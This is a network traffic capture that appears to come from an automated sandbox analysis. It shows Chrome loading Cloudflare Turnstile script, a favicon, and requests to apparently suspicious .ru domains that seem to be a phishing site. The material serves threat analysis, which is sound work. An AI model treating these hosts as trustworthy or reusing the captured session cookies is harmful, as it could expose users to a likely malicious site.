2025-03-06 13:38:45 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49764	104.18.94.41	443	2008	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 13:38:46 UTC	383	OUT	GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 13:38:46 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 06 Mar 2025 13:38:46 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48239 Connection: close accept-ranges: bytes last-modified: Fri, 28 Feb 2025 15:24:08 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 91c241603a960711-ATL alt-svc: h3=":443"; ma=86400
2025-03-06 13:38:46 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-06 13:38:46 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-03-06 13:38:46 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 7a 74 28 65 29 7c 7c 42 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Ie(e,t){return zt(e)\|\|Bt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Pe(e,t){var a={label:0,sent:function(){if(l[0
2025-03-06 13:38:46 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var We=300030;var Ue=300031;var q;(fu
2025-03-06 13:38:46 UTC	1369	IN	Data Raw: 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 65 65 7c 7c 28 65 65 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 65 76 65 72 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 6c 77 61 79 73 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 78 65 63 75 74 65 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 6e 74 65 72 61 63 74 69 6f 6e 4f 6e 6c 79 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 65 6e 64 65 72 Data Ascii: manual",e.Auto="auto"})(ee\|\|(ee={}));var ce;(function(e){e.Never="never",e.Manual="manual",e.Auto="auto"})(ce\|\|(ce={}));var Q;(function(e){e.Always="always",e.Execute="execute",e.InteractionOnly="interaction-only"})(Q\|\|(Q={}));var me;(function(e){e.Render
2025-03-06 13:38:46 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 4d 2e 4e 6f 72 6d 61 6c 2c 4d 2e 43 6f 6d 70 61 63 74 2c 4d 2e 49 6e 76 69 73 69 62 6c 65 2c 4d 2e 46 6c 65 78 69 62 6c 65 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 4e 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 Data Ascii: unction pt(e){return L([M.Normal,M.Compact,M.Invisible,M.Flexible],e)}function vt(e){return L(["auto","manual","never"],e)}function mt(e){return L(["auto","manual","never"],e)}var Nr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){return e==="auto"\|\|Nr.test
2025-03-06 13:38:46 UTC	1369	IN	Data Raw: 72 22 2c 22 72 6f 2d 72 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 74 29 7b 76 61 72 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 41 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 Data Ascii: r","ro-ro"];function Tt(e,t){var a="https://challenges.cloudflare.com";if(t){var o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,v,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",A=a["feedback-enabled"]===!1?"
2025-03-06 13:38:46 UTC	1369	IN	Data Raw: 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 74 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 Data Ascii: ect.setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},te(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,w
2025-03-06 13:38:47 UTC	1369	IN	Data Raw: 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 Data Ascii: ,configurable:!0}}),te(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this
2025-03-06 13:38:47 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 67 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 Data Ascii: unction(e,t,a){var o=Tt(t.params,!1),c="h/".concat("g","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49765	104.16.5.189	443	2008	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 13:38:46 UTC	597	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://xx3j.t23ngbco3.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 13:38:46 UTC	718	IN	HTTP/1.1 200 OK Date: Thu, 06 Mar 2025 13:38:46 GMT Content-Type: image/png Content-Length: 937 Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Set-Cookie: __cf_bm=x91XeDI7kox7hEkNsTUkUoFC_2IboVHn7cmi41fxMoQ-1741268326-1.0.1.1-rQZ3OIQItNvqRZNU50aLWB_V8AxXuDjJ5KxM1XPqUpQaKvlRxQn7_f1UA3jl0rS27bQheFjTzXTUA8Qi3GxB46iqgCuSsDCIBi4UjdTFRuw; path=/; expires=Thu, 06-Mar-25 14:08:46 GMT; domain=.developers.cloudflare.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 91c241607a207bde-ATL alt-svc: h3=":443"; ma=86400
2025-03-06 13:38:46 UTC	651	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-06 13:38:46 UTC	286	IN	Data Raw: ee 39 df 2c 85 85 09 69 c6 04 d7 c0 65 d0 03 c2 20 04 ce 80 13 a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f 3d fe 77 23 bf 7e 8b c6 3c bd c1 67 0f 56 7a 91 a9 c6 c8 6f 40 1a 65 Data Ascii: 9,ie _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_=w#~<gVzo@e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49771	104.16.6.189	443	2008	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 13:38:48 UTC	548	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=x91XeDI7kox7hEkNsTUkUoFC_2IboVHn7cmi41fxMoQ-1741268326-1.0.1.1-rQZ3OIQItNvqRZNU50aLWB_V8AxXuDjJ5KxM1XPqUpQaKvlRxQn7_f1UA3jl0rS27bQheFjTzXTUA8Qi3GxB46iqgCuSsDCIBi4UjdTFRuw
2025-03-06 13:38:49 UTC	413	IN	HTTP/1.1 200 OK Date: Thu, 06 Mar 2025 13:38:49 GMT Content-Type: image/png Content-Length: 937 Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 91c241706ccabf86-ATL alt-svc: h3=":443"; ma=86400
2025-03-06 13:38:49 UTC	937	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49775	104.21.20.57	443	2008	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 13:39:03 UTC	561	OUT	GET /machlo!fc4z1vnt HTTP/1.1 Host: v3mm.biijvi.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://xx3j.t23ngbco3.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://xx3j.t23ngbco3.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 13:39:04 UTC	828	IN	HTTP/1.1 200 OK Date: Thu, 06 Mar 2025 13:39:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Dqlt4WcpkgFTDFG%2B2vJMXIQvNePN%2Ff55w9IGYBagrcyTEB9Y3AUUyZULUIslO9C%2BPCH80n%2FBiwmZNT8iNn9hO3hyVcxvSigiLTYTk9Au6JdpCJ2XOlu1NFMbtRCX1VfZig%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91c241cd7949bd2d-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=37535&min_rtt=32158&rtt_var=12433&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2819&recv_bytes=1139&delivery_rate=114413&cwnd=252&unsent_bytes=0&cid=07193c56c3711efc&ts=1463&x=0"
2025-03-06 13:39:04 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-03-06 13:39:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49778	172.67.191.206	443	2008	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 13:39:08 UTC	353	OUT	GET /machlo!fc4z1vnt HTTP/1.1 Host: v3mm.biijvi.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 13:39:09 UTC	824	IN	HTTP/1.1 200 OK Date: Thu, 06 Mar 2025 13:39:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3McViyIfKRzQQUOT0kdtGSo9owe7MtrVxMnWhf%2B0CHaCXb9HNzsQxj8Gi7wRXxDBQxHD4I8jx%2B9YLJ1MqqO3hJqHWnpvTqlX0E%2FH7jXfWv4H1AJqdsy8NyDrgpmVKkSzog%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91c241eccf0ded8c-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=34384&min_rtt=33624&rtt_var=8237&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2819&recv_bytes=931&delivery_rate=102512&cwnd=252&unsent_bytes=0&cid=2da15ac316a399c9&ts=1341&x=0"
